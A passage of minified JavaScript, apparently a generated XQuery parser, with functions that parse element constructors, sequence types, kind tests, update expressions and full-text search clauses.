55:Wi();break;default:Vi()}Vl.endNonterminal(\"DirectConstructor\",Pl)}function Mi(){switch(Hl){case 54:Di();break;case 55:Xi();break;default:$i()}}function _i(){Vl.startNonterminal(\"DirElemConstructor\",Pl),Sl(54),Al(4),Sl(20),Pi();switch(Hl){case 48:Sl(48);break;default:Sl(61);for(;;){Al(174);if(Hl==56)break;Ui()}Sl(56),Al(4),Sl(20),Al(12),Hl==21&&Sl(21),Al(8),Sl(61)}Vl.endNonterminal(\"DirElemConstructor\",Pl)}function Di(){xl(54),Al(4),xl(20),Hi();switch(Hl){case 48:xl(48);break;default:xl(61);for(;;){Al(174);if(Hl==56)break;zi()}xl(56),Al(4),xl(20),Al(12),Hl==21&&xl(21),Al(8),xl(61)}}function Pi(){Vl.startNonterminal(\"DirAttributeList\",Pl);for(;;){Al(19);if(Hl!=21)break;Sl(21),Al(91),Hl==20&&(Sl(20),Al(11),Hl==21&&Sl(21),Al(7),Sl(60),Al(18),Hl==21&&Sl(21),Bi())}Vl.endNonterminal(\"DirAttributeList\",Pl)}function Hi(){for(;;){Al(19);if(Hl!=21)break;xl(21),Al(91),Hl==20&&(xl(20),Al(11),Hl==21&&xl(21),Al(7),xl(60),Al(18),Hl==21&&xl(21),ji())}}function Bi(){Vl.startNonterminal(\"DirAttributeValue\",Pl),Al(14);switch(Hl){case 28:Sl(28);for(;;){Al(167);if(Hl==28)break;switch(Hl){case 13:Sl(13);break;default:Fi()}}Sl(28);break;default:Sl(33);for(;;){Al(168);if(Hl==33)break;switch(Hl){case 14:Sl(14);break;default:qi()}}Sl(33)}Vl.endNonterminal(\"DirAttributeValue\",Pl)}function ji(){Al(14);switch(Hl){case 28:xl(28);for(;;){Al(167);if(Hl==28)break;switch(Hl){case 13:xl(13);break;default:Ii()}}xl(28);break;default:xl(33);for(;;){Al(168);if(Hl==33)break;switch(Hl){case 14:xl(14);break;default:Ri()}}xl(33)}}function Fi(){Vl.startNonterminal(\"QuotAttrValueContent\",Pl);switch(Hl){case 16:Sl(16);break;default:Vf()}Vl.endNonterminal(\"QuotAttrValueContent\",Pl)}function Ii(){switch(Hl){case 16:xl(16);break;default:$f()}}function qi(){Vl.startNonterminal(\"AposAttrValueContent\",Pl);switch(Hl){case 17:Sl(17);break;default:Vf()}Vl.endNonterminal(\"AposAttrValueContent\",Pl)}function Ri(){switch(Hl){case 17:xl(17);break;default:$f()}}function Ui(){Vl.startNonterminal(\"DirElemContent\",Pl);switch(Hl){case 54:case 55:case 59:Oi();break;case 4:Sl(4);break;case 15:Sl(15);break;default:Vf()}Vl.endNonterminal(\"DirElemContent\",Pl)}function zi(){switch(Hl){case 54:case 55:case 59:Mi();break;case 4:xl(4);break;case 15:xl(15);break;default:$f()}}function Wi(){Vl.startNonterminal(\"DirCommentConstructor\",Pl),Sl(55),Al(1),Sl(2),Al(6),Sl(43),Vl.endNonterminal(\"DirCommentConstructor\",Pl)}function Xi(){xl(55),Al(1),xl(2),Al(6),xl(43)}function Vi(){Vl.startNonterminal(\"DirPIConstructor\",Pl),Sl(59),Al(3),Sl(18),Al(13),Hl==21&&(Sl(21),Al(2),Sl(3)),Al(9),Sl(65),Vl.endNonterminal(\"DirPIConstructor\",Pl)}function $i(){xl(59),Al(3),xl(18),Al(13),Hl==21&&(xl(21),Al(2),xl(3)),Al(9),xl(65)}function Ji(){Vl.startNonterminal(\"ComputedConstructor\",Pl);switch(Hl){case 119:Qf();break;case 121:Qi();break;case 82:Yf();break;case 184:Yi();break;case 244:il();break;case 96:nl();break;default:el()}Vl.endNonterminal(\"ComputedConstructor\",Pl)}function Ki(){switch(Hl){case 119:Gf();break;case 121:Gi();break;case 82:Zf();break;case 184:Zi();break;case 244:sl();break;case 96:rl();break;default:tl()}}function Qi(){Vl.startNonterminal(\"CompElemConstructor\",Pl),Sl(121),kl(258);switch(Hl){case 276:Sl(276),kl(267),Nl(),G(),Sl(282);break;default:Nl(),Ha()}kl(87),Sl(276),kl(277),Hl!=282&&(Nl(),Jf()),Sl(282),Vl.endNonterminal(\"CompElemConstructor\",Pl)}function Gi(){xl(121),kl(258);switch(Hl){case 276:xl(276),kl(267),Y(),xl(282);break;default:Ba()}kl(87),xl(276),kl(277),Hl!=282&&Kf(),xl(282)}function Yi(){Vl.startNonterminal(\"CompNamespaceConstructor\",Pl),Sl(184),kl(251);switch(Hl){case 276:Sl(276),kl(267),Nl(),ns(),Sl(282);break;default:Nl(),es()}kl(87),Sl(276),kl(267),Nl(),is(),Sl(282),Vl.endNonterminal(\"CompNamespaceConstructor\",Pl)}function Zi(){xl(184),kl(251);switch(Hl){case 276:xl(276),kl(267),rs(),xl(282);break;default:ts()}kl(87),xl(276),kl(267),ss(),xl(282)}function es(){Vl.startNonterminal(\"Prefix\",Pl),Ia(),Vl.endNonterminal(\"Prefix\",Pl)}function ts(){qa()}function ns(){Vl.startNonterminal(\"PrefixExpr\",Pl),G(),Vl.endNonterminal(\"PrefixExpr\",Pl)}function rs(){Y()}function is(){Vl.startNonterminal(\"URIExpr\",Pl),G(),Vl.endNonterminal(\"URIExpr\",Pl)}function ss(){Y()}function os(){Vl.startNonterminal(\"FunctionItemExpr\",Pl);switch(Hl){case 145:Ll(92);break;default:_l=Hl}switch(_l){case 32:case 17553:ls();break;default:as()}Vl.endNonterminal(\"FunctionItemExpr\",Pl)}function us(){switch(Hl){case 145:Ll(92);break;default:_l=Hl}switch(_l){case 32:case 17553:cs();break;default:fs()}}function as(){Vl.startNonterminal(\"NamedFunctionRef\",Pl),Ha(),kl(20),Sl(29),kl(16),Sl(8),Vl.endNonterminal(\"NamedFunctionRef\",Pl)}function fs(){Ba(),kl(20),xl(29),kl(16),xl(8)}function ls(){Vl.startNonterminal(\"InlineFunctionExpr\",Pl);for(;;){kl(97);if(Hl!=32)break;Nl(),B()}Sl(145),kl(22),Sl(34),kl(94),Hl==31&&(Nl(),U()),Sl(37),kl(111),Hl==79&&(Sl(79),kl(260),Nl(),ms()),kl(87),Nl(),V(),Vl.endNonterminal(\"InlineFunctionExpr\",Pl)}function cs(){for(;;){kl(97);if(Hl!=32)break;j()}xl(145),kl(22),xl(34),kl(94),Hl==31&&z(),xl(37),kl(111),Hl==79&&(xl(79),kl(260),gs()),kl(87),$()}function hs(){Vl.startNonterminal(\"SingleType\",Pl),vo(),kl(227),Hl==64&&Sl(64),Vl.endNonterminal(\"SingleType\",Pl)}function ps(){mo(),kl(227),Hl==64&&xl(64)}function ds(){Vl.startNonterminal(\"TypeDeclaration\",Pl),Sl(79),kl(260),Nl(),ms(),Vl.endNonterminal(\"TypeDeclaration\",Pl)}function vs(){xl(79),kl(260),gs()}function ms(){Vl.startNonterminal(\"SequenceType\",Pl);switch(Hl){case 124:Ll(243);break;default:_l=Hl}switch(_l){case 17532:Sl(124),kl(22),Sl(34),kl(23),Sl(37);break;default:ws(),kl(239);switch(Hl){case 39:case 40:case 64:Nl(),ys();break;default:}}Vl.endNonterminal(\"SequenceType\",Pl)}function gs(){switch(Hl){case 124:Ll(243);break;default:_l=Hl}switch(_l){case 17532:xl(124),kl(22),xl(34),kl(23),xl(37);break;default:Es(),kl(239);switch(Hl){case 39:case 40:case 64:bs();break;default:}}}function ys(){Vl.startNonterminal(\"OccurrenceIndicator\",Pl);switch(Hl){case 64:Sl(64);break;case 39:Sl(39);break;default:Sl(40)}Vl.endNonterminal(\"OccurrenceIndicator\",Pl)}function bs(){switch(Hl){case 64:xl(64);break;case 39:xl(39);break;default:xl(40)}}function ws(){Vl.startNonterminal(\"ItemType\",Pl);switch(Hl){case 78:case 82:case 96:case 120:case 121:case 145:case 165:case 167:case 185:case 191:case 194:case 216:case 226:case 227:case 242:case 244:Ll(243);break;default:_l=Hl}switch(_l){case 17490:case 17504:case 17528:case 17529:case 17593:case 17599:case 17624:case 17634:case 17635:case 17652:Ps();break;case 17573:Sl(165),kl(22),Sl(34),kl(23),Sl(37);break;case 32:case 17553:bo();break;case 34:No();break;case 17486:case 17575:case 17602:Ss();break;case 17650:Ts();break;default:_s()}Vl.endNonterminal(\"ItemType\",Pl)}function Es(){switch(Hl){case 78:case 82:case 96:case 120:case 121:case 145:case 165:case 167:case 185:case 191:case 194:case 216:case 226:case 227:case 242:case 244:Ll(243);break;default:_l=Hl}switch(_l){case 17490:case 17504:case 17528:case 17529:case 17593:case 17599:case 17624:case 17634:case 17635:case 17652:Hs();break;case 17573:xl(165),kl(22),xl(34),kl(23),xl(37);break;case 32:case 17553:wo();break;case 34:Co();break;case 17486:case 17575:case 17602:xs();break;case 17650:Ns();break;default:Ds()}}function Ss(){Vl.startNonterminal(\"JSONTest\",Pl);switch(Hl){case 167:Cs();break;case 194:Ls();break;default:Os()}Vl.endNonterminal(\"JSONTest\",Pl)}function xs(){switch(Hl){case 167:ks();break;case 194:As();break;default:Ms()}}function Ts(){Vl.startNonterminal(\"StructuredItemTest\",Pl),Sl(242),kl(22),Sl(34),kl(23),Sl(37),Vl.endNonterminal(\"StructuredItemTest\",Pl)}function Ns(){xl(242),kl(22),xl(34),kl(23),xl(37)}function Cs(){Vl.startNonterminal(\"JSONItemTest\",Pl),Sl(167),kl(22),Sl(34),kl(23),Sl(37),Vl.endNonterminal(\"JSONItemTest\",Pl)}function ks(){xl(167),kl(22),xl(34),kl(23),xl(37)}function Ls(){Vl.startNonterminal(\"JSONObjectTest\",Pl),Sl(194),kl(22),Sl(34),kl(23),Sl(37),Vl.endNonterminal(\"JSONObjectTest\",Pl)}function As(){xl(194),kl(22),xl(34),kl(23),xl(37)}function Os(){Vl.startNonterminal(\"JSONArrayTest\",Pl),Sl(78),kl(22),Sl(34),kl(23),Sl(37),Vl.endNonterminal(\"JSONArrayTest\",Pl)}function Ms(){xl(78),kl(22),xl(34),kl(23),xl(37)}function _s(){Vl.startNonterminal(\"AtomicOrUnionType\",Pl),Ha(),Vl.endNonterminal(\"AtomicOrUnionType\",Pl)}function Ds(){Ba()}function Ps(){Vl.startNonterminal(\"KindTest\",Pl);switch(Hl){case 120:Fs();break;case 121:no();break;case 82:Js();break;case 227:oo();break;case 226:Ys();break;case 216:Vs();break;case 96:Us();break;case 244:qs();break;case 185:Ws();break;default:Bs()}Vl.endNonterminal(\"KindTest\",Pl)}function Hs(){switch(Hl){case 120:Is();break;case 121:ro();break;case 82:Ks();break;case 227:uo();break;case 226:Zs();break;case 216:$s();break;case 96:zs();break;case 244:Rs();break;case 185:Xs();break;default:js()}}function Bs(){Vl.startNonterminal(\"AnyKindTest\",Pl),Sl(191),kl(22),Sl(34),kl(23),Sl(37),Vl.endNonterminal(\"AnyKindTest\",Pl)}function js(){xl(191),kl(22),xl(34),kl(23),xl(37)}function Fs(){Vl.startNonterminal(\"DocumentTest\",Pl),Sl(120),kl(22),Sl(34),kl(144);if(Hl!=37)switch(Hl){case 121:Nl(),no();break;default:Nl(),oo()}kl(23),Sl(37),Vl.endNonterminal(\"DocumentTest\",Pl)}function Is(){xl(120),kl(22),xl(34),kl(144);if(Hl!=37)switch(Hl){case 121:ro();break;default:uo()}kl(23),xl(37)}function qs(){Vl.startNonterminal(\"TextTest\",Pl),Sl(244),kl(22),Sl(34),kl(23),Sl(37),Vl.endNonterminal(\"TextTest\",Pl)}function Rs(){xl(244),kl(22),xl(34),kl(23),xl(37)}function Us(){Vl.startNonterminal(\"CommentTest\",Pl),Sl(96),kl(22),Sl(34),kl(23),Sl(37),Vl.endNonterminal(\"CommentTest\",Pl)}function zs(){xl(96),kl(22),xl(34),kl(23),xl(37)}function Ws(){Vl.startNonterminal(\"NamespaceNodeTest\",Pl),Sl(185),kl(22),Sl(34),kl(23),Sl(37),Vl.endNonterminal(\"NamespaceNodeTest\",Pl)}function Xs(){xl(185),kl(22),xl(34),kl(23),xl(37)}function Vs(){Vl.startNonterminal(\"PITest\",Pl),Sl(216),kl(22),Sl(34),kl(253);if(Hl!=37)switch(Hl){case 11:Sl(11);break;default:Nl(),Ia()}kl(23),Sl(37),Vl.endNonterminal(\"PITest\",Pl)}function $s(){xl(216),kl(22),xl(34),kl(253);if(Hl!=37)switch(Hl){case 11:xl(11);break;default:qa()}kl(23),xl(37)}function Js(){Vl.startNonterminal(\"AttributeTest\",Pl),Sl(82),kl(22),Sl(34),kl(261),Hl!=37&&(Nl(),Qs(),kl(101),Hl==41&&(Sl(41),kl(255),Nl(),go())),kl(23),Sl(37),Vl.endNonterminal(\"AttributeTest\",Pl)}function Ks(){xl(82),kl(22),xl(34),kl(261),Hl!=37&&(Gs(),kl(101),Hl==41&&(xl(41),kl(255),yo())),kl(23),xl(37)}function Qs(){Vl.startNonterminal(\"AttribNameOrWildcard\",Pl);switch(Hl){case 38:Sl(38);break;default:lo()}Vl.endNonterminal(\"AttribNameOrWildcard\",Pl)}function Gs(){switch(Hl){case 38:xl(38);break;default:co()}}function Ys(){Vl.startNonterminal(\"SchemaAttributeTest\",Pl),Sl(226),kl(22),Sl(34),kl(255),Nl(),eo(),kl(23),Sl(37),Vl.endNonterminal(\"SchemaAttributeTest\",Pl)}function Zs(){xl(226),kl(22),xl(34),kl(255),to(),kl(23),xl(37)}function eo(){Vl.startNonterminal(\"AttributeDeclaration\",Pl),lo(),Vl.endNonterminal(\"AttributeDeclaration\",Pl)}function to(){co()}function no(){Vl.startNonterminal(\"ElementTest\",Pl),Sl(121),kl(22),Sl(34),kl(261),Hl!=37&&(Nl(),io(),kl(101),Hl==41&&(Sl(41),kl(255),Nl(),go(),kl(102),Hl==64&&Sl(64))),kl(23),Sl(37),Vl.endNonterminal(\"ElementTest\",Pl)}function ro(){xl(121),kl(22),xl(34),kl(261),Hl!=37&&(so(),kl(101),Hl==41&&(xl(41),kl(255),yo(),kl(102),Hl==64&&xl(64))),kl(23),xl(37)}function io(){Vl.startNonterminal(\"ElementNameOrWildcard\",Pl);switch(Hl){case 38:Sl(38);break;default:ho()}Vl.endNonterminal(\"ElementNameOrWildcard\",Pl)}function so(){switch(Hl){case 38:xl(38);break;default:po()}}function oo(){Vl.startNonterminal(\"SchemaElementTest\",Pl),Sl(227),kl(22),Sl(34),kl(255),Nl(),ao(),kl(23),Sl(37),Vl.endNonterminal(\"SchemaElementTest\",Pl)}function uo(){xl(227),kl(22),xl(34),kl(255),fo(),kl(23),xl(37)}function ao(){Vl.startNonterminal(\"ElementDeclaration\",Pl),ho(),Vl.endNonterminal(\"ElementDeclaration\",Pl)}function fo(){po()}function lo(){Vl.startNonterminal(\"AttributeName\",Pl),Ha(),Vl.endNonterminal(\"AttributeName\",Pl)}function co(){Ba()}function ho(){Vl.startNonterminal(\"ElementName\",Pl),Ha(),Vl.endNonterminal(\"ElementName\",Pl)}function po(){Ba()}function vo(){Vl.startNonterminal(\"SimpleTypeName\",Pl),go(),Vl.endNonterminal(\"SimpleTypeName\",Pl)}function mo(){yo()}function go(){Vl.startNonterminal(\"TypeName\",Pl),Ha(),Vl.endNonterminal(\"TypeName\",Pl)}function yo(){Ba()}function bo(){Vl.startNonterminal(\"FunctionTest\",Pl);for(;;){kl(97);if(Hl!=32)break;Nl(),B()}switch(Hl){case 145:Ll(22);break;default:_l=Hl}_l=Kl(5,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{So(),_l=-1}catch(a){_l=-2}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(5,Pl,_l)}switch(_l){case-1:Nl(),Eo();break;default:Nl(),xo()}Vl.endNonterminal(\"FunctionTest\",Pl)}function wo(){for(;;){kl(97);if(Hl!=32)break;j()}switch(Hl){case 145:Ll(22);break;default:_l=Hl}_l=Kl(5,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{So(),Jl(5,t,-1),_l=-3}catch(a){_l=-2,Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(5,t,-2)}}switch(_l){case-1:So();break;case-3:break;default:To()}}function Eo(){Vl.startNonterminal(\"AnyFunctionTest\",Pl),Sl(145),kl(22),Sl(34),kl(24),Sl(38),kl(23),Sl(37),Vl.endNonterminal(\"AnyFunctionTest\",Pl)}function So(){xl(145),kl(22),xl(34),kl(24),xl(38),kl(23),xl(37)}function xo(){Vl.startNonterminal(\"TypedFunctionTest\",Pl),Sl(145),kl(22),Sl(34),kl(263);if(Hl!=37){Nl(),ms();for(;;){kl(101);if(Hl!=41)break;Sl(41),kl(260),Nl(),ms()}}Sl(37),kl(30),Sl(79),kl(260),Nl(),ms(),Vl.endNonterminal(\"TypedFunctionTest\",Pl)}function To(){xl(145),kl(22),xl(34),kl(263);if(Hl!=37){gs();for(;;){kl(101);if(Hl!=41)break;xl(41),kl(260),gs()}}xl(37),kl(30),xl(79),kl(260),gs()}function No(){Vl.startNonterminal(\"ParenthesizedItemType\",Pl),Sl(34),kl(260),Nl(),ws(),kl(23),Sl(37),Vl.endNonterminal(\"ParenthesizedItemType\",Pl)}function Co(){xl(34),kl(260),Es(),kl(23),xl(37)}function ko(){Vl.startNonterminal(\"RevalidationDecl\",Pl),Sl(108),kl(72),Sl(222),kl(152);switch(Hl){case 240:Sl(240);break;case 171:Sl(171);break;default:Sl(233)}Vl.endNonterminal(\"RevalidationDecl\",Pl)}function Lo(){Vl.startNonterminal(\"InsertExprTargetChoice\",Pl);switch(Hl){case 70:Sl(70);break;case 84:Sl(84);break;default:if(Hl==79){Sl(79),kl(119);switch(Hl){case 134:Sl(134);break;default:Sl(170)}}kl(54),Sl(163)}Vl.endNonterminal(\"InsertExprTargetChoice\",Pl)}function Ao(){switch(Hl){case 70:xl(70);break;case 84:xl(84);break;default:if(Hl==79){xl(79),kl(119);switch(Hl){case 134:xl(134);break;default:xl(170)}}kl(54),xl(163)}}function Oo(){Vl.startNonterminal(\"InsertExpr\",Pl),Sl(159),kl(129);switch(Hl){case 191:Sl(191);break;default:Sl(192)}kl(267),Nl(),Fo(),Nl(),Lo(),kl(267),Nl(),qo(),Vl.endNonterminal(\"InsertExpr\",Pl)}function Mo(){xl(159),kl(129);switch(Hl){case 191:xl(191);break;default:xl(192)}kl(267),Io(),Ao(),kl(267),Ro()}function _o(){Vl.startNonterminal(\"DeleteExpr\",Pl),Sl(110),kl(129);switch(Hl){case 191:Sl(191);break;default:Sl(192)}kl(267),Nl(),qo(),Vl.endNonterminal(\"DeleteExpr\",Pl)}function Do(){xl(110),kl(129);switch(Hl){case 191:xl(191);break;default:xl(192)}kl(267),Ro()}function Po(){Vl.startNonterminal(\"ReplaceExpr\",Pl),Sl(219),kl(130),Hl==261&&(Sl(261),kl(64),Sl(196)),kl(62),Sl(191),kl(267),Nl(),qo(),Sl(270),kl(267),Nl(),_f(),Vl.endNonterminal(\"ReplaceExpr\",Pl)}function Ho(){xl(219),kl(130),Hl==261&&(xl(261),kl(64),xl(196)),kl(62),xl(191),kl(267),Ro(),xl(270),kl(267),Df()}function Bo(){Vl.startNonterminal(\"RenameExpr\",Pl),Sl(218),kl(62),Sl(191),kl(267),Nl(),qo(),Sl(79),kl(267),Nl(),Uo(),Vl.endNonterminal(\"RenameExpr\",Pl)}function jo(){xl(218),kl(62),xl(191),kl(267),Ro(),xl(79),kl(267),zo()}function Fo(){Vl.startNonterminal(\"SourceExpr\",Pl),_f(),Vl.endNonterminal(\"SourceExpr\",Pl)}function Io(){Df()}function qo(){Vl.startNonterminal(\"TargetExpr\",Pl),_f(),Vl.endNonterminal(\"TargetExpr\",Pl)}function Ro(){Df()}function Uo(){Vl.startNonterminal(\"NewNameExpr\",Pl),_f(),Vl.endNonterminal(\"NewNameExpr\",Pl)}function zo(){Df()}function Wo(){Vl.startNonterminal(\"TransformExpr\",Pl),Sl(103),kl(21),Nl(),Vo();for(;;){if(Hl!=41)break;Sl(41),kl(21),Nl(),Vo()}Sl(181),kl(267),Nl(),_f(),Sl(220),kl(267),Nl(),_f(),Vl.endNonterminal(\"TransformExpr\",Pl)}function Xo(){xl(103),kl(21),$o();for(;;){if(Hl!=41)break;xl(41),kl(21),$o()}xl(181),kl(267),Df(),xl(220),kl(267),Df()}function Vo(){Vl.startNonterminal(\"TransformSpec\",Pl),Sl(31),kl(255),Nl(),hi(),kl(27),Sl(52),kl(267),Nl(),_f(),Vl.endNonterminal(\"TransformSpec\",Pl)}function $o(){xl(31),kl(255),pi(),kl(27),xl(52),kl(267),Df()}function Jo(){Vl.startNonterminal(\"FTSelection\",Pl),Yo();for(;;){kl(212);switch(Hl){case 81:Ll(151);break;default:_l=Hl}if(_l!=115&&_l!=117&&_l!=127&&_l!=202&&_l!=223&&_l!=269&&_l!=64593&&_l!=121425)break;Nl(),Su()}Vl.endNonterminal(\"FTSelection\",Pl)}function Ko(){Zo();for(;;){kl(212);switch(Hl){case 81:Ll(151);break;default:_l=Hl}if(_l!=115&&_l!=117&&_l!=127&&_l!=202&&_l!=223&&_l!=269&&_l!=64593&&_l!=121425)break;xu()}}function Qo(){Vl.startNonterminal(\"FTWeight\",Pl),Sl(264),kl(87),Sl(276),kl(267),Nl(),G(),Sl(282),Vl.endNonterminal(\"FTWeight\",Pl)}function Go(){xl(264),kl(87),xl(276),kl(267),Y(),xl(282)}function Yo(){Vl.startNonterminal(\"FTOr\",Pl),eu();for(;;){if(Hl!=144)break;Sl(144),kl(162),Nl(),eu()}Vl.endNonterminal(\"FTOr\",Pl)}function Zo(){tu();for(;;){if(Hl!=144)break;xl(144),kl(162),tu()}}function eu(){Vl.startNonterminal(\"FTAnd\",Pl),nu();for(;;){if(Hl!=142)break;Sl(142),kl(162),Nl(),nu()}Vl.endNonterminal(\"FTAnd\",Pl)}function tu(){ru();for(;;){if(Hl!=142)break;xl(142),kl(162),ru()}}function nu(){Vl.startNonterminal(\"FTMildNot\",Pl),iu();for(;;){kl(213);if(Hl!=193)break;Sl(193),kl(53),Sl(154),kl(162),Nl(),iu()}Vl.endNonterminal(\"FTMildNot\",Pl)}function ru(){su();for(;;){kl(213);if(Hl!=193)break;xl(193),kl(53),xl(154),kl(162),su()}}function iu(){Vl.startNonterminal(\"FTUnaryNot\",Pl),Hl==143&&Sl(143),kl(155),Nl(),ou(),Vl.endNonterminal(\"FTUnaryNot\",Pl)}function su(){Hl==143&&xl(143),kl(155),uu()}function ou(){Vl.startNonterminal(\"FTPrimaryWithOptions\",Pl),au(),kl(215),Hl==259&&(Nl(),Fu()),Hl==264&&(Nl(),Qo()),Vl.endNonterminal(\"FTPrimaryWithOptions\",Pl)}function uu(){fu(),kl(215),Hl==259&&Iu(),Hl==264&&Go()}function au(){Vl.startNonterminal(\"FTPrimary\",Pl);switch(Hl){case 34:Sl(34),kl(162),Nl(),Jo(),Sl(37);break;case 35:du();break;default:lu(),kl(216),Hl==195&&(Nl(),yu())}Vl.endNonterminal(\"FTPrimary\",Pl)}function fu(){switch(Hl){case 34:xl(34),kl(162),Ko(),xl(37);break;case 35:vu();break;default:cu(),kl(216),Hl==195&&bu()}}function lu(){Vl.startNonterminal(\"FTWords\",Pl),hu(),kl(222);if(Hl==71||Hl==76||Hl==210)Nl(),mu();Vl.endNonterminal(\"FTWords\",Pl)}function cu(){pu(),kl(222),(Hl==71||Hl==76||Hl==210)&&gu()}function hu(){Vl.startNonterminal(\"FTWordsValue\",Pl);switch(Hl){case 11:Sl(11);break;default:Sl(276),kl(267),Nl(),G(),Sl(282)}Vl.endNonterminal(\"FTWordsValue\",Pl)}function pu(){switch(Hl){case 11:xl(11);break;default:xl(276),kl(267),Y(),xl(282)}}function du(){Vl.startNonterminal(\"FTExtensionSelection\",Pl);for(;;){Nl(),Cr(),kl(100);if(Hl!=35)break}Sl(276),kl(166),Hl!=282&&(Nl(),Jo()),Sl(282),Vl.endNonterminal(\"FTExtensionSelection\",Pl)}function vu(){for(;;){kr(),kl(100);if(Hl!=35)break}xl(276),kl(166),Hl!=282&&Ko(),xl(282)}function mu(){Vl.startNonterminal(\"FTAnyallOption\",Pl);switch(Hl){case 76:Sl(76),kl(219),Hl==272&&Sl(272);break;case 71:Sl(71),kl(220),Hl==273&&Sl(273);break;default:Sl(210)}Vl.endNonterminal(\"FTAnyallOption\",Pl)}function gu(){switch(Hl){case 76:xl(76),kl(219),Hl==272&&xl(272);break;case 71:xl(71),kl(220),Hl==273&&xl(273);break;default:xl(210)}}function yu(){Vl.startNonterminal(\"FTTimes\",Pl),Sl(195),kl(149),Nl(),wu(),Sl(247),Vl.endNonterminal(\"FTTimes\",Pl)}function bu(){xl(195),kl(149),Eu(),xl(247)}function wu(){Vl.startNonterminal(\"FTRange\",Pl);switch(Hl){case 130:Sl(130),kl(267),Nl(),Vn();break;case 81:Sl(81),kl(125);switch(Hl){case 173:Sl(173),kl(267),Nl(),Vn();break;default:Sl(183),kl(267),Nl(),Vn()}break;default:Sl(140),kl(267),Nl(),Vn(),Sl(248),kl(267),Nl(),Vn()}Vl.endNonterminal(\"FTRange\",Pl)}function Eu(){switch(Hl){case 130:xl(130),kl(267),$n();break;case 81:xl(81),kl(125);switch(Hl){case 173:xl(173),kl(267),$n();break;default:xl(183),kl(267),$n()}break;default:xl(140),kl(267),$n(),xl(248),kl(267),$n()}}function Su(){Vl.startNonterminal(\"FTPosFilter\",Pl);switch(Hl){case 202:Tu();break;case 269:Cu();break;case 117:Lu();break;case 115:case 223:_u();break;default:Bu()}Vl.endNonterminal(\"FTPosFilter\",Pl)}function xu(){switch(Hl){case 202:Nu();break;case 269:ku();break;case 117:Au();break;case 115:case 223:Du();break;default:ju()}}function Tu(){Vl.startNonterminal(\"FTOrder\",Pl),Sl(202),Vl.endNonterminal(\"FTOrder\",Pl)}function Nu(){xl(202)}function Cu(){Vl.startNonterminal(\"FTWindow\",Pl),Sl(269),kl(267),Nl(),Vn(),Nl(),Ou(),Vl.endNonterminal(\"FTWindow\",Pl)}function ku(){xl(269),kl(267),$n(),Mu()}function Lu(){Vl.startNonterminal(\"FTDistance\",Pl),Sl(117),kl(149),Nl(),wu(),Nl(),Ou(),Vl.endNonterminal(\"FTDistance\",Pl)}function Au(){xl(117),kl(149),Eu(),Mu()}function Ou(){Vl.startNonterminal(\"FTUnit\",Pl);switch(Hl){case 273:Sl(273);break;case 232:Sl(232);break;default:Sl(205)}Vl.endNonterminal(\"FTUnit\",Pl)}function Mu(){switch(Hl){case 273:xl(273);break;case 232:xl(232);break;default:xl(205)}}function _u(){Vl.startNonterminal(\"FTScope\",Pl);switch(Hl){case 223:Sl(223);break;default:Sl(115)}kl(132),Nl(),Pu(),Vl.endNonterminal(\"FTScope\",Pl)}function Du(){switch(Hl){case 223:xl(223);break;default:xl(115)}kl(132),Hu()}function Pu(){Vl.startNonterminal(\"FTBigUnit\",Pl);switch(Hl){case 231:Sl(231);break;default:Sl(204)}Vl.endNonterminal(\"FTBigUnit\",Pl)}function Hu(){switch(Hl){case 231:xl(231);break;default:xl(204)}}function Bu(){Vl.startNonterminal(\"FTContent\",Pl);switch(Hl){case 81:Sl(81),kl(117);switch(Hl){case 237:Sl(237);break;default:Sl(126)}break;default:Sl(127),kl(42),Sl(100)}Vl.endNonterminal(\"FTContent\",Pl)}function ju(){switch(Hl){case 81:xl(81),kl(117);switch(Hl){case 237:xl(237);break;default:xl(126)}break;default:xl(127),kl(42),xl(100)}}function Fu(){Vl.startNonterminal(\"FTMatchOptions\",Pl);for(;;){Sl(259),kl(182),Nl(),qu(),kl(215);if(Hl!=259)break}Vl.endNonterminal(\"FTMatchOptions\",Pl)}function Iu(){for(;;){xl(259),kl(182),Ru(),kl(215);if(Hl!=259)break}}function qu(){Vl.startNonterminal(\"FTMatchOption\",Pl);switch(Hl){case 188:Ll(161);break;default:_l=Hl}switch(_l){case 169:oa();break;case 268:case 137404:aa();break;case 246:case 126140:Ju();break;case 238:case 122044:Vu();break;case 114:Wu();break;case 239:case 122556:ea();break;case 199:la();break;default:Uu()}Vl.endNonterminal(\"FTMatchOption\",Pl)}function Ru(){switch(Hl){case 188:Ll(161);break;default:_l=Hl}switch(_l){case 169:ua();break;case 268:case 137404:fa();break;case 246:case 126140:Ku();break;case 238:case 122044:$u();break;case 114:Xu();break;case 239:case 122556:ta();break;case 199:ca();break;default:zu()}}function Uu(){Vl.startNonterminal(\"FTCaseOption\",Pl);switch(Hl){case 88:Sl(88),kl(124);switch(Hl){case 158:Sl(158);break;default:Sl(230)}break;case 177:Sl(177);break;default:Sl(258)}Vl.endNonterminal(\"FTCaseOption\",Pl)}function zu(){switch(Hl){case 88:xl(88),kl(124);switch(Hl){case 158:xl(158);break;default:xl(230)}break;case 177:xl(177);break;default:xl(258)}}function Wu(){Vl.startNonterminal(\"FTDiacriticsOption\",Pl),Sl(114),kl(124);switch(Hl){case 158:Sl(158);break;default:Sl(230)}Vl.endNonterminal(\"FTDiacriticsOption\",Pl)}function Xu(){xl(114),kl(124);switch(Hl){case 158:xl(158);break;default:xl(230)}}function Vu(){Vl.startNonterminal(\"FTStemOption\",Pl);switch(Hl){case 238:Sl(238);break;default:Sl(188),kl(74),Sl(238)}Vl.endNonterminal(\"FTStemOption\",Pl)}function $u(){switch(Hl){case 238:xl(238);break;default:xl(188),kl(74),xl(238)}}function Ju(){Vl.startNonterminal(\"FTThesaurusOption\",Pl);switch(Hl){case 246:Sl(246),kl(142);switch(Hl){case 81:Nl(),Qu();break;case 109:Sl(109);break;default:Sl(34),kl(112);switch(Hl){case 